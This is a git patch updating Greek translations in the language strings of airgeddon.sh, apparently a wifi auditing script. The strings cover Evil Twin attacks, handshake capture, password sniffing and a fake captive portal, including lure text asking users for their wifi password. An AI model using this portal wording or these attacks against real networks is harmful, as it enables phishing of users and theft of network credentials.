arr["catalan",306]="El sniffer ha capturat contrasenyes. Fitxer desat a "${normal_color}"[$ettercap_logpath]" arr["portuguese",306]="O sniffer capturou senhas. I arquivo salvo no "${normal_color}"[$ettercap_logpath]" arr["russian",306]="Сниффер захватил пароли. Файл сохранён в "${normal_color}"[$ettercap_logpath]" - arr["greek",306]="Κωδικοί καταγράφτηκαν από τον sniffer. Το αρχείο αποθηκεύτηκε στο "${normal_color}"[$ettercap_logpath]" + arr["greek",306]="Καταγράφτηκαν κωδικοί πρόσβασης από τον sniffer. Το αρχείο αποθηκεύτηκε στο "${normal_color}"[$ettercap_logpath]" arr["english",307]="Language changed to Russian" arr["spanish",307]="Idioma cambiado a Ruso" @@ -2946,7 +2946,7 @@ function language_strings() { arr["catalan",310]="Fitxer de Handshake seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",310]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"Nenhum"${normal_color} arr["russian",310]="$pending_of_translation Рукопожатие выбранный файл: "${pink_color}"None"${normal_color} - arr["greek",310]="$pending_of_translation Αρχείο χειραψία επιλεγμένα: "${pink_color}"Κανένα"${normal_color} + arr["greek",310]="Επιλεγμένο αρχείο Χειραψίας: "${pink_color}"Κανένα"${normal_color} arr["english",311]="Handshake file selected: "${pink_color}"$et_handshake"${normal_color} arr["spanish",311]="Fichero de Handshake seleccionado: "${pink_color}"$et_handshake"${normal_color} @@ -2954,7 +2954,7 @@ function language_strings() { arr["catalan",311]="Fitxer de Handshake seleccionat: "${pink_color}"$et_handshake"${normal_color} arr["portuguese",311]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"$et_handshake"${normal_color} arr["russian",311]="$pending_of_translation Рукопожатие выбранный файл: "${pink_color}"$et_handshake"${normal_color} - arr["greek",311]="$pending_of_translation Αρχείο χειραψία επιλεγμένα: "${pink_color}"$et_handshake"${normal_color} + arr["greek",311]="Επιλεγμένο αρχείο Χειραψίας: "${pink_color}"$et_handshake"${normal_color} arr["english",312]="No selected Handshake file detected during this session..." arr["spanish",312]="No se ha detectado ningún fichero de Handshake seleccionado en esta sesión..." @@ -2962,7 +2962,7 @@ function language_strings() { arr["catalan",312]="No s'ha detectat un fitxer de Handshake seleccionat en aquesta sessió..." arr["portuguese",312]="$pending_of_translation Não é detectado arquivo Handshake selecionado nesta sessão..." arr["russian",312]="$pending_of_translation не обнаружен Рукопожатие файл, выбранный в этой сессии..." - arr["greek",312]="$pending_of_translation δεν έχει εντοπιστεί το αρχείο Χειραψία επιλεγεί σε αυτή τη σύνοδο..." + arr["greek",312]="Δεν εντοπίστηκε κανένα αρχείο Χειραψίας κατά τη διάρκεια της συνεδρίας..." arr["english",313]="Handshake selected file detected during this session ["${normal_color}"$et_handshake"${blue_color}"]" arr["spanish",313]="Se ha detectado un fichero de Handshake seleccionado en esta sesión ["${normal_color}"$et_handshake"${blue_color}"]" @@ -2970,7 +2970,7 @@ function language_strings() { arr["catalan",313]="S'ha detectat un fitxer de Handshake seleccionat en aquesta sessió ["${normal_color}"$et_handshake"${blue_color}"]" arr["portuguese",313]="$pending_of_translation Arquivo Handshake detectado selecionado nesta sessão ["${normal_color}"$et_handshake"${blue_color}"]" arr["russian",313]="$pending_of_translation Обнаружен файл Рукопожатие выбран в этой сессии ["${normal_color}"$et_handshake"${blue_color}"]" - arr["greek",313]="$pending_of_translation Εντοπίστηκε αρχείο Χειραψία επιλεγεί σε αυτή τη σύνοδο ["${normal_color}"$et_handshake"${blue_color}"]" + arr["greek",313]="Εντοπίστηκε επιλεγμένο αρχείο Χειραψίας κατά τη διάρκεια της συνεδρίας ["${normal_color}"$et_handshake"${blue_color}"]" arr["english",314]="Handshake file selected: "${pink_color}"$enteredpath"${normal_color} arr["spanish",314]="Fichero de Handshake seleccionado: "${pink_color}"$enteredpath"${normal_color} @@ -2978,7 +2978,7 @@ function language_strings() { arr["catalan",314]="Fitxer de Handshake seleccionat: "${pink_color}"$enteredpath"${normal_color} arr["portuguese",314]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"$enteredpath"${normal_color} arr["russian",314]="$pending_of_translation Рукопожатие выбранный файл: "${pink_color}"$enteredpath"${normal_color} - arr["greek",314]="$pending_of_translation Αρχείο χειραψία επιλεγμένα: "${pink_color}"$enteredpath"${normal_color} + arr["greek",314]="Επιλεγμένο αρχείο Χειραψίας: "${pink_color}"$enteredpath"${normal_color} arr["english",315]="This attack requires that you have previously a WPA/WPA2 network captured Handshake file" arr["spanish",315]="Este ataque requiere que tengas capturado previamente un fichero de Handshake de una red WPA/WPA2" @@ -2986,7 +2986,7 @@ function language_strings() { arr["catalan",315]="Aquest atac requereix que tinguis capturat prèviament un fitxer de Handshake d'una xarxa WPA/WPA2" arr["portuguese",315]="$pending_of_translation Este ataque requer que você já capturou um arquivo a partir de uma rede Handshake WPA/WPA2" arr["russian",315]="$pending_of_translation Эта атака требует, чтобы вы ранее захватили файл из сети Рукопожатие WPA/WPA2" - arr["greek",315]="$pending_of_translation Η επίθεση αυτή προϋποθέτει ότι έχετε συλληφθεί στο παρελθόν αρχείο χειραψία ένα δίκτυο WPA/WPA2" + arr["greek",315]="Αυτή η επίθεση απαιτεί να έχετε προηγουμένως κατεγράψει ένα αρχείο Χειραψίας από WPA/WPA2 δίκτο" arr["english",316]="An exploration looking for targets is going to be done..." arr["spanish",316]="Se va a realizar una exploración en busca de objetivos..." @@ -2994,7 +2994,7 @@ function language_strings() { arr["catalan",316]="$pending_of_translation Es va a realitzar una exploració a la recerca d'objectius..." arr["portuguese",316]="$pending_of_translation Ele irá realizar uma varredura para alvos..." arr["russian",316]="$pending_of_translation Он выполнит сканирование для целей..." - arr["greek",316]="$pending_of_translation Θα εκτελέσετε σάρωση για τους στόχους..." + arr["greek",316]="Πρόκειται να γίνει μία εξερεύνηση για έυρεση στόχων..." arr["english",317]="If the password for the wifi network is achieved with the captive portal, you must decide where to save it. "${green_color}"Type the path to store the file or press Enter to accept the default proposal "${normal_color}"[$default_et_captive_portal_logpath]" arr["spanish",317]="Si se consigue la contraseña de la red wifi con el portal cautivo, hay que decidir donde guardarla. "${green_color}"Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto "${normal_color}"[$default_et_captive_portal_logpath]" @@ -3002,7 +3002,7 @@ function language_strings() { arr["catalan",317]="Si s'aconsegueix la contrasenya de la xarxa wifi amb el portal captiu, cal decidir on guardar-la. "${green_color}"Escriu la ruta on desarem el fitxer o prem Enter per acceptar la proposta per defecte "${normal_color}"[$default_et_captive_portal_logpath]" arr["portuguese",317]="$pending_of_translation Se a senha da rede wifi com o portal cativo é alcançado, decidir onde para salvar. "${green_color}"Digite o caminho onde armazenar o arquivo ou pressione Enter para aceitar as propostas padrão "${normal_color}"[$default_et_captive_portal_logpath]" arr["russian",317]="$pending_of_translation Если пароль для беспроводной сети с адаптивным порталом достигается, решить, куда сохранить. "${green_color}"Напечатайте путь до файла для сохранения или нажмите Enter для принятия предложения по умолчанию "${normal_color}"[$default_et_captive_portal_logpath]" - arr["greek",317]="$pending_of_translation Εάν επιτευχθεί ο κωδικός πρόσβασης για το ασύρματο δίκτυο με την αιχμαλωσία πύλη, να αποφασίσει πού να αποθηκεύσετε. "${green_color}"Πληκτρολογήστε τη διαδρομή όπου αποθηκεύουμε το αρχείο ή πατήστε Enter για να αποδεχτείτε την προτεινόμενη προεπιλογή "${normal_color}"[$default_et_captive_portal_logpath]" + arr["greek",317]="Εάν ο κωδικός πρόσβασης του δικτύου wifi επιτευχθεί με captive portal, θα πρέπει να αποφασίσετε που θα τον αποθηκεύσετε. "${green_color}"Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε Enter για την προεπιλεγμένη επιλογή "${normal_color}"[$default_et_captive_portal_logpath]" arr["english",318]="Choose the language in which network clients will see the captive portal :" arr["spanish",318]="Elige el idioma en el que los clientes de la red verán el portal cautivo :" @@ -3010,7 +3010,7 @@ function language_strings() { arr["catalan",318]="Tria l'idioma en el qual els clients de la xarxa veuran el portal captiu :" arr["portuguese",318]="$pending_of_translation Escolha o idioma em que os clientes da rede verá o portal cativo :" arr["russian",318]="$pending_of_translation Выберите язык, на котором клиенты сети будут видеть адаптивный портал :" - arr["greek",318]="$pending_of_translation Επιλέξτε τη γλώσσα στην οποία οι πελάτες του δικτύου θα δείτε την αιχμαλωσία πύλη :" + arr["greek",318]="Επιλέξτε τη γλώσσα που θα βλέπουν οι χρήστες του δικτύου το captive portal :" arr["english",319]="The captive portal language has been established" arr["spanish",319]="Se ha establecido el idioma del portal cautivo" @@ -3018,7 +3018,7 @@ function language_strings() { arr["catalan",319]="S'ha establert l'idioma del portal captiu" arr["portuguese",319]="$pending_of_translation A língua foi estabelecida portal cativo" arr["russian",319]="$pending_of_translation Язык был создан адаптивный портал" - arr["greek",319]="$pending_of_translation Η γλώσσα έχει καθιερωθεί αιχμαλωσία πύλη" + arr["greek",319]="Εγκαταστάθηκε η γλώσσα του captive portal" arr["english",320]="7. Greek" arr["spanish",320]="7. Griego" @@ -3034,7 +3034,7 @@ function language_strings() { arr["catalan",321]="$pending_of_translation ¿Tens ja un fitxer de Handshake capturat? "${blue_color}"Respon si (\"y\") per introduir la ruta o respon no (\"n\") per capturar un ara "${normal_color}"[y/n]" arr["portuguese",321]="$pending_of_translation Você já tem um arquivo Handshake capturado? "${blue_color}"Responda sim (\"y\") para entrar no caminho ou responder não (\"n\") para capturar um novo agora "${normal_color}"[y/n]" arr["russian",321]="$pending_of_translation У Вас уже есть файл захваченный Рукопожатие? "${blue_color}"Ответ да (\"y\"), чтобы войти в путь или нет ответа Нет (\"n\"), чтобы захватить новую прямо сейчас "${normal_color}"[y/n]" - arr["greek",321]="$pending_of_translation Έχετε ήδη καταθέσει ένα κατέλαβε Χειραψία? "${blue_color}"Απάντηση ναι (\"y\") για να εισαγάγετε τη διαδρομή ή να απαντήσει καθόλου (\"n\") για να συλλάβει ένα νέο τώρα "${normal_color}"[y/n]" + arr["greek",321]="Έχετε ήδη κάποιο αρχείο Χειραψίας; "${blue_color}"Απαντήστε ναι (\"y\") για να εισαγάγετε το μονοπάτι ή απαντήστε όχι (\"n\") για να καταγράψετε ένα νέο τώρα "${normal_color}"[y/n]" arr["english",322]="It has been checked that there is a Handshake of the chosen target network while checking the selected capture file. Script can continue..." arr["spanish",322]="Se ha comprobado que existe un Handshake de la red elegida como objetivo durante la exploración en el fichero de captura seleccionado. El script puede continuar..." @@ -3042,7 +3042,7 @@ function language_strings() { arr["catalan",322]="$pending_of_translation S'ha comprovat que hi ha un Handshake de la xarxa triada com a objectiu durant l'exploració en el fitxer de captura seleccionat. El script pot continuar..." arr["portuguese",322]="$pending_of_translation Verificou-se que existe uma rede de Handshake escolhido como o alvo para a exploração do ficheiro de captura seleccionado. O script pode continuar..." arr["russian",322]="$pending_of_translation Было установлено, что существует сеть Квитирующий выбрана в качестве цели для исследования в выбранном файле записи. Скрипт может продолжать..." - arr["greek",322]="$pending_of_translation Έχει βρεθεί ότι υπάρχει μια χειραψία δίκτυο επιλέχθηκε ως το στόχο για εξερεύνηση στο επιλεγμένο αρχείο καταγραφής. Το script μπορεί να συνεχίσει..." + arr["greek",322]="Εντοπίστηκε η παρουσία Χειραψίας για το επιλεγμένο δίκτυο-στόχος καθώς γινόταν έλεγχος του επιλεγμένου αρχείου καταγραφής. Το script μπορεί να συνεχίσει..." arr["english",323]="There is no Handshake of the selected network on the capture file" arr["spanish",323]="No se ha encontrado un Handshake de la red seleccionada en el fichero de captura" @@ -3050,7 +3050,7 @@ function language_strings() { arr["catalan",323]="$pending_of_translation No s'ha trobat un Handshake de la xarxa seleccionada en el fitxer de captura" arr["portuguese",323]="$pending_of_translation Não encontrou um aperto de mão rede selecionada no arquivo de captura" arr["russian",323]="$pending_of_translation Он не нашел сети Рукопожатие, выбранный в файле захвата" - arr["greek",323]="$pending_of_translation Δεν έχει βρει μια χειραψία δικτύου έχει επιλεγεί στο αρχείο καταγραφής" + arr["greek",323]="Δεν υπάρχει Χειραψία του επιλεγμένου δικτύου στο αρχείο καταγραφής" arr["english",324]="Handshake file generated successfully at ["${normal_color}"$et_handshake"${blue_color}"]" arr["spanish",324]="Fichero de Handshake generado con éxito en ["${normal_color}"$et_handshake"${blue_color}"]" @@ -3066,7 +3066,7 @@ function language_strings() { arr["catalan",325]="$pending_of_translation Espera. Tingues una mica de paciència..." arr["portuguese",325]="$pending_of_translation Esperar. Tenha um pouco de paciência..." arr["russian",325]="$pending_of_translation Подождите. Имейте немного терпения..." - arr["greek",325]="$pending_of_translation Περιμένετε. Έχετε λίγη υπομονή..." + arr["greek",325]="Περιμένετε. Έχετε λίγη υπομονή..." case "$3" in "yellow") From 3c695e8978277ed8c5552c7a1f5a6bea97ff278f Mon Sep 17 00:00:00 2001 From: xtonousou Date: Mon, 10 Oct 2016 03:01:23 +0300 Subject: [PATCH 13/23] Updated Greek translations [Evil Twin] --- airgeddon.sh | 94 ++++++++++++++++++++++++++-------------------------- 1 file changed, 47 insertions(+), 47 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 00a1db496..ae27b08b5 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -289,7 +289,7 @@ function language_strings() { et_misc_texts["catalan",4]="Amb aquest atac has d'utilitzar un sniffer extern per intentar obtenir contrasenyes dels clients connectats a la xarxa" et_misc_texts["portuguese",4]="Com este ataque você tem que usar um sniffer externa para tentar obter as senhas dos clientes conectados à rede" et_misc_texts["russian",4]="С этой атакой вам нужно использовать внешний сниффер для попытки получить пароли клиентов, подключённых к сети" - et_misc_texts["greek",4]="Με αυτή την επίθεση θα πρέπει να χρησιμοποιήσετε έναν εξωτερικό sniffer για να μπορέσετε να υποκλέψετε κωδικούς από τους χρήστες που είναι συνδεδεμένοι στο δίκτυο" + et_misc_texts["greek",4]="Με αυτή την επίθεση θα πρέπει να χρησιμοποιήσετε έναν εξωτερικό sniffer για να μπορέσετε να υποκλέψετε κωδικούς πρόσβασης από τους χρήστες που είναι συνδεδεμένοι στο δίκτυο" et_misc_texts["english",5]="With this attack, watch the sniffer's screen to see if a password appears" et_misc_texts["spanish",5]="Con este ataque, estate atento a la pantalla del sniffer para ver si aparece alguna contraseña" @@ -297,7 +297,7 @@ function language_strings() { et_misc_texts["catalan",5]="Amb aquest atac, estigues atent a la pantalla de l'sniffer per veure si apareix alguna contrasenya" et_misc_texts["portuguese",5]="Com este ataque, cuidado com a tela aparece sniffer para ver se uma senha" et_misc_texts["russian",5]="С этой атакой смотрите на окно сниффера, чтобы следить за появлением пароля" - et_misc_texts["greek",5]="Με αυτή την επίθεση, παρακολουθήστε την οθόνη του sniffer για να δείτε αν εχει εμφανιστεί κάποιος κωδικός" + et_misc_texts["greek",5]="Με αυτή την επίθεση, παρακολουθήστε την οθόνη του sniffer για να δείτε αν εχει εμφανιστεί κάποιος κωδικός πρόσβασης" et_misc_texts["english",6]="With this attack, we'll wait for a network client to provide us with the password for the wifi network in our captive portal" et_misc_texts["spanish",6]="Con este ataque, esperaremos a que un cliente de la red nos provea de la contraseña de la red wifi en nuestro portal cautivo" @@ -305,7 +305,7 @@ function language_strings() { et_misc_texts["catalan",6]="Amb aquest atac, esperarem que un client de la xarxa ens proveeixi de la contrasenya de la xarxa wifi al nostre portal captiu" et_misc_texts["portuguese",6]="Com este ataque, vamos esperar por um cliente de rede nos fornecer a senha para a rede wifi no nosso portal cativo" et_misc_texts["russian",6]="С этой атакой вы будете ожидать, чтобы сетевые клиенты ввели пароль для Wi-Fi сети на нашем перехватывающем портале" - et_misc_texts["greek",6]="Με αυτή την επίθεση, θα περιμένουμε για έναν χρήστη του δικτύου να μας παρέχει με τον κωδικό του wifi στην πύλη αιχμάλωσίας" + et_misc_texts["greek",6]="Με αυτή την επίθεση, θα περιμένουμε για έναν χρήστη του δικτύου να μας παρέχει με τον κωδικό πρόσβασης του wifi στο captive portal μας" et_misc_texts["english",7]="No clients connected yet" et_misc_texts["spanish",7]="No hay clientes conectados aún" @@ -321,7 +321,7 @@ function language_strings() { et_misc_texts["catalan",8]="Airgeddon. Contrasenyes capturades amb atac Evil Twin" et_misc_texts["portuguese",8]="Airgeddon. Senhas capturado no ataque ataque Evil Twin" et_misc_texts["russian",8]="Airgeddon. Атака Злой Двойник захватила пароли" - et_misc_texts["greek",8]="Airgeddon. Η επίθεση Evil Twin κατέγραψε κωδικούς" + et_misc_texts["greek",8]="Airgeddon. Η επίθεση Evil Twin κατέγραψε κωδικούς πρόσβασης" et_misc_texts["english",9]="Wireless network, ESSID:" et_misc_texts["spanish",9]="Red inalámbrica, ESSID:" @@ -329,7 +329,7 @@ function language_strings() { et_misc_texts["catalan",9]="Xarxa sense fils, ESSID:" et_misc_texts["portuguese",9]="Rede sem fio, ESSID:" et_misc_texts["russian",9]="беспроводная сеть, ESSID:" - et_misc_texts["greek",9]="Ασύρματο Δίκτυο ESSID:" + et_misc_texts["greek",9]="Ασύρματο Δίκτυο, ESSID:" et_misc_texts["english",10]="Enter your wireless network password to get internet access" et_misc_texts["spanish",10]="Introduzca su contraseña de acceso a la red inalámbrica para poder acceder a internet" @@ -337,7 +337,7 @@ function language_strings() { et_misc_texts["catalan",10]="Introduïu la contrasenya d'accés a la xarxa sense fils per poder accedir a internet" et_misc_texts["portuguese",10]="Digite sua senha de acesso de rede asa sem fio para acesso à internet" et_misc_texts["russian",10]="Введите свой беспроводной доступ к сети Интернет доступа пароль крыло" - et_misc_texts["greek",10]="Εισάγετε ασύρματη πρόσβαση στο κωδικό πρόσβασης δικτύου πτέρυγα σας να έχουν πρόσβαση στο διαδίκτυο" + et_misc_texts["greek",10]="Εισάγετε τον κωδικό πρόσβασης του wifi δικτύου σας για να υπάρξει σύνδεση στο διαδίκτυο" et_misc_texts["english",11]="Password" et_misc_texts["spanish",11]="Contraseña" @@ -345,7 +345,7 @@ function language_strings() { et_misc_texts["catalan",11]="Contrasenya" et_misc_texts["portuguese",11]="Senha" et_misc_texts["russian",11]="пароль" - et_misc_texts["greek",11]="κωδικό πρόσβασης" + et_misc_texts["greek",11]="Κωδικός πρόσβασης" et_misc_texts["english",12]="Show password" et_misc_texts["spanish",12]="Mostrar contraseña" @@ -361,7 +361,7 @@ function language_strings() { et_misc_texts["catalan",13]="Enviar" et_misc_texts["portuguese",13]="Enviar" et_misc_texts["russian",13]="послать" - et_misc_texts["greek",13]="Υποτάσσομαι" + et_misc_texts["greek",13]="Υποβολή" et_misc_texts["english",14]="An unexpected error occurred, redirecting to the main screen" et_misc_texts["spanish",14]="Ha ocurrido un error inesperado, redirigiendo a la pantalla principal" @@ -369,7 +369,7 @@ function language_strings() { et_misc_texts["catalan",14]="Hi ha hagut un error inesperat, redirigint a la pantalla principal" et_misc_texts["portuguese",14]="Ocorreu um erro inesperado, redirecionando para a tela principal" et_misc_texts["russian",14]="Произошла неожиданная ошибка, перенаправлять на главный экран" - et_misc_texts["greek",14]="Παρουσιάστηκε μη αναμενόμενο σφάλμα, τον αναπροσανατολισμό προς την κύρια οθόνη" + et_misc_texts["greek",14]="Παρουσιάστηκε μη αναμενόμενο σφάλμα, Θα καθοδηγηθείτε στην κύρια οθόνη" et_misc_texts["english",15]="Internet Portal" et_misc_texts["spanish",15]="Portal de Internet" @@ -377,7 +377,7 @@ function language_strings() { et_misc_texts["catalan",15]="Portal d'Internet" et_misc_texts["portuguese",15]="Portal Internet" et_misc_texts["russian",15]="Интернет-портал" - et_misc_texts["greek",15]="Διαδικτυακή πύλη" + et_misc_texts["greek",15]="Internet Portal" et_misc_texts["english",16]="The password must be at least 8 characters" et_misc_texts["spanish",16]="La contraseña debe tener al menos 8 caracteres" @@ -393,7 +393,7 @@ function language_strings() { et_misc_texts["catalan",17]="La contrasenya introduïda és incorrecta, redirigint a la pantalla principal" et_misc_texts["portuguese",17]="A senha está incorreta, redirecionando para a tela principal" et_misc_texts["russian",17]="Неверный пароль, перенаправление на главный экран" - et_misc_texts["greek",17]="Ο κωδικός πρόσβασης είναι λανθασμένος, τον αναπροσανατολισμό προς την κύρια οθόνη" + et_misc_texts["greek",17]="Ο κωδικός πρόσβασης είναι λανθασμένος, Θα καθοδηγηθείτε στην κύρια οθόνη" et_misc_texts["english",18]="The password is correct, the connection will be restablished in a few moments" et_misc_texts["spanish",18]="La contraseña es correcta, la conexión se restablecerá en unos momentos" @@ -401,7 +401,7 @@ function language_strings() { et_misc_texts["catalan",18]="La contrasenya és correcta, la connexió es restablirà en uns moments" et_misc_texts["portuguese",18]="A senha está correta, a conexão será estabelecida em alguns momentos" et_misc_texts["russian",18]="Пароль правильный, то соединение будет установлено через несколько минут" - et_misc_texts["greek",18]="Ο κωδικός πρόσβασης είναι σωστός, η σύνδεση θα δημιουργηθεί σε λίγα λεπτά" + et_misc_texts["greek",18]="Ο κωδικός πρόσβασης είναι σωστός, η σύνδεση θα αποκατασταθεί σε λίγα λεπτά" et_misc_texts["english",19]="Airgeddon. Captive portal Evil Twin attack captured password" et_misc_texts["spanish",19]="Airgeddon. Contraseña capturada en el portal cautivo del ataque Evil Twin" @@ -409,7 +409,7 @@ function language_strings() { et_misc_texts["catalan",19]="Airgeddon. Contrasenya capturada al portal captiu de l'atac Evil Twin" et_misc_texts["portuguese",19]="Airgeddon. Senha capturado no ataque Evil Twin portal cativo" et_misc_texts["russian",19]="Airgeddon. Пароль захватили на адаптивный портал Зла атаки Твин" - et_misc_texts["greek",19]="Airgeddon. Κωδικός πρόσβασης συλληφθεί για την αιχμαλωσία πύλη Evil Twin επίθεση" + et_misc_texts["greek",19]="Airgeddon. Η επίθεση Evil Twin με captive portal κατέγραψε τον κωδικό πρόσβασης" et_misc_texts["english",20]="Attempts" et_misc_texts["spanish",20]="Intentos" @@ -417,7 +417,7 @@ function language_strings() { et_misc_texts["catalan",20]="Intents" et_misc_texts["portuguese",20]="Tries" et_misc_texts["russian",20]="пытается" - et_misc_texts["greek",20]="προσπαθεί" + et_misc_texts["greek",20]="Προσπάθειες" et_misc_texts["english",21]="last password:" et_misc_texts["spanish",21]="última contraseña:" @@ -425,7 +425,7 @@ function language_strings() { et_misc_texts["catalan",21]="última contrasenya:" et_misc_texts["portuguese",21]="última senha:" et_misc_texts["russian",21]="последний пароль:" - et_misc_texts["greek",21]="τελευταία κωδικό:" + et_misc_texts["greek",21]="τελευταίος κωδικός πρόσβασης:" et_misc_texts["english",22]="Captured passwords on failed attemps" et_misc_texts["spanish",22]="Contraseñas capturadas en intentos fallidos" @@ -433,7 +433,7 @@ function language_strings() { et_misc_texts["catalan",22]="Contrasenyes capturades en intents fallits" et_misc_texts["portuguese",22]="Senhas capturadas em tentativas falhadas" et_misc_texts["russian",22]="Пароли, захваченные в неудачных попыток" - et_misc_texts["greek",22]="Οι κωδικοί πρόσβασης δεν σταματούν σε αποτυχημένες προσπάθειες" + et_misc_texts["greek",22]="Καταγεγραμμένοι κωδικοί πρόσβασης σε αποτυχημένες προσπάθειες" et_misc_texts["english",23]="Password captured successfully" et_misc_texts["spanish",23]="Contraseña capturada con éxito" @@ -441,7 +441,7 @@ function language_strings() { et_misc_texts["catalan",23]="Contrasenya capturada amb èxit" et_misc_texts["portuguese",23]="Senha capturada com sucesso" et_misc_texts["russian",23]="Пароль успешно захватили" - et_misc_texts["greek",23]="Κωδικός πρόσβασης κατέλαβε με επιτυχία" + et_misc_texts["greek",23]="Ο κωδικός πρόσβασης καταγράφτηκε επιτυχώς" et_misc_texts["english",24]="The password was saved on file" et_misc_texts["spanish",24]="La contraseña se ha guardado en el fichero" @@ -449,7 +449,7 @@ function language_strings() { et_misc_texts["catalan",24]="La contrasenya s'ha guardat en el fitxer" et_misc_texts["portuguese",24]="A senha é guardada no arquivo" et_misc_texts["russian",24]="Пароль сохраняется в файле" - et_misc_texts["greek",24]="Ο κωδικός πρόσβασης αποθηκεύεται στο αρχείο" + et_misc_texts["greek",24]="Ο κωδικός πρόσβασης αποθηκεύτηκε σε αρχείο" et_misc_texts["english",25]="Press Enter on the main script window to continue, this window will be closed" et_misc_texts["spanish",25]="Pulsa Enter en la ventana principal del script para continuar, esta ventana se cerrará" @@ -457,7 +457,7 @@ function language_strings() { et_misc_texts["catalan",25]="Prem Enter a la finestra principal del script per continuar, aquesta finestra es tancarà" et_misc_texts["portuguese",25]="Pressione Enter na janela principal do script para continuar, esta janela será fechada" et_misc_texts["russian",25]="Нажмите Enter в главном окне сценария для продолжения, это окно будет закрыто" - et_misc_texts["greek",25]="Πατήστε Enter στο κύριο παράθυρο του σεναρίου για να συνεχίσει, αυτό το παράθυρο θα κλείσει" + et_misc_texts["greek",25]="Πατήστε Enter στο κύριο παράθυρο του script για να συνεχίσετε, το παράθυρο αυτό θα κλείσει" declare -A arr arr["english",0]="This interface $interface is already in managed mode" @@ -1282,7 +1282,7 @@ function language_strings() { arr["catalan",102]="Menú d'atacs DoS" arr["portuguese",102]="Menu de ataques DoS" arr["russian",102]="Меню DoS атак" - arr["greek",102]="Μενού DoS επιθέσεων" + arr["greek",102]="Μενού επιθέσεων DoS" arr["english",103]="Exploring for targets" arr["spanish",103]="Explorar para buscar objetivos" @@ -1410,7 +1410,7 @@ function language_strings() { arr["catalan",118]="4. Menú d'atacs DoS" arr["portuguese",118]="4. Menu de ataques DoS" arr["russian",118]="4. Меню DoS атак" - arr["greek",118]="4. Μενού DoS επιθέσεων" + arr["greek",118]="4. Μενού επιθέσεων DoS" arr["english",119]="5. Handshake tools menu" arr["spanish",119]="5. Menú de herramientas Handshake" @@ -1898,7 +1898,7 @@ function language_strings() { arr["catalan",179]="Desencriptant per força bruta, podrien passar hores, dies, setmanes o fins i tot mesos fins a aconseguir-ho depenent de la complexitat de la contrasenya i de la teva velocitat de procés" arr["portuguese",179]="Descriptografar com força bruta pode levar horas, dias, semanas ou mesmo meses dependendo da complexidade de sua senha e velocidade de processamento" arr["russian",179]="Расшифровка грубой силой может занять часы, дни, недели или даже месяцы в зависимости от сложности пароля и вашей скорости обработки" - arr["greek",179]="Αποκρυπτογραφώντας με χρήση ωμής βίας, μπορεί να περάσουν ώρες, μέρες, εβδομάδες ή ακόμη και μήνες για να το αποκτήσετε έχοντας υπόψιν την πολυπλοκότητα του κωδικού και την ταχύτητα του επεξεργαστή" + arr["greek",179]="Αποκρυπτογραφώντας με χρήση ωμής βίας, μπορεί να περάσουν ώρες, μέρες, εβδομάδες ή ακόμη και μήνες για να το αποκτήσετε έχοντας υπόψιν την πολυπλοκότητα του κωδικού πρόσβασης και την ταχύτητα του επεξεργαστή" arr["english",180]="Enter the path of a dictionary file :" arr["spanish",180]="Introduce la ruta de un fichero de diccionario :" @@ -2186,7 +2186,7 @@ function language_strings() { arr["catalan",215]="Una contrasenya WPA/WPA2 sempre té com a mínim una longitud de 8" arr["portuguese",215]="Uma senha WPA/WPA2 sempre tem no mínimo 8 caracteres" arr["russian",215]="WPA/WPA2 пароли всегда имеют длину минимум в 8 символов" - arr["greek",215]="οι κωδικοί WPA/WPA2 έχουν πάντα ελάχιστο μήκος 8" + arr["greek",215]="οι κωδικοί πρόσβασης WPA/WPA2 έχουν πάντα ελάχιστο μήκος 8" arr["english",216]="No networks found with Handshake captured on the selected file" arr["spanish",216]="No se encontraron redes con Handshake capturado en el fichero seleccionado" @@ -2346,7 +2346,7 @@ function language_strings() { arr["catalan",235]="¿Vols desar el fitxer de trofeu amb la clau desencriptada? "${normal_color}"[y/n]" arr["portuguese",235]="Você quer salvar arquivo com a senha descriptografado?? "${normal_color}"[y/n]" arr["russian",235]="Вы хотите сохранить трофейный файл с расшифрованным паролем? "${normal_color}"[y/n]" - arr["greek",235]="Θέλετε να αποθηκεύσετε το αρχείο τρόπαιο με το αποκρυπτογραφημένο κλειδί? "${normal_color}"[y/n]" + arr["greek",235]="Θέλετε να αποθηκεύσετε το αρχείο τρόπαιο με τον αποκρυπτογραφημένο κωδικό πρόσβασης? "${normal_color}"[y/n]" arr["english",236]="Hashcat trophy file generated successfully at ["${normal_color}"$potenteredpath"${blue_color}"]" arr["spanish",236]="Fichero de trofeo hashcat generado con éxito en ["${normal_color}"$potenteredpath"${blue_color}"]" @@ -2562,7 +2562,7 @@ function language_strings() { arr["catalan",262]="sense sniffing, portal captiu" arr["portuguese",262]="Sem sniffing, portal cativo" arr["russian",262]="без сниффинга, перехватывающий портал" - arr["greek",262]="χωρίς sniffing, αιχμαλωσία πύλης" + arr["greek",262]="χωρίς sniffing, captive portal" arr["english",263]="8. Evil Twin AP attack with captive portal (monitor mode needed)" arr["spanish",263]="8. Ataque Evil Twin AP con portal cautivo (modo monitor requerido)" @@ -2570,7 +2570,7 @@ function language_strings() { arr["catalan",263]="8. Atac Evil Twin AP amb portal captiu (es requereix mode monitor)" arr["portuguese",263]="8. Ataque Evil Twin AP com portal cativo (modo monitor obrigatório)" arr["russian",263]="8. Атака Злой Двойник ТД с перехватывающим порталом (необходим режим монитора)" - arr["greek",263]="8. Επίθεση Evil Twin AP με αιχμαλωσία πύλης (χρειάζεται η κατάσταση παρακολούθησης)" + arr["greek",263]="8. Επίθεση Evil Twin AP με captive portal (χρειάζεται η κατάσταση παρακολούθησης)" arr["english",264]="The captive portal attack tries to one of the network clients provide us the password for the wifi network by entering it on our portal" arr["spanish",264]="El ataque del portal cautivo intentará conseguir que uno de los clientes de la red nos proporcione la contraseña de la red wifi introduciéndola en nuestro portal" @@ -2578,7 +2578,7 @@ function language_strings() { arr["catalan",264]="L'atac de portal captiu intenta aconseguir que un dels clients de la xarxa ens proporcioni la contrasenya de la xarxa wifi introduint-la al nostre portal" arr["portuguese",264]="O ataque com portal cativo tenta fazer com que um dos clientes da rede nos forneça a senha da rede sem fio digitando-o em nosso 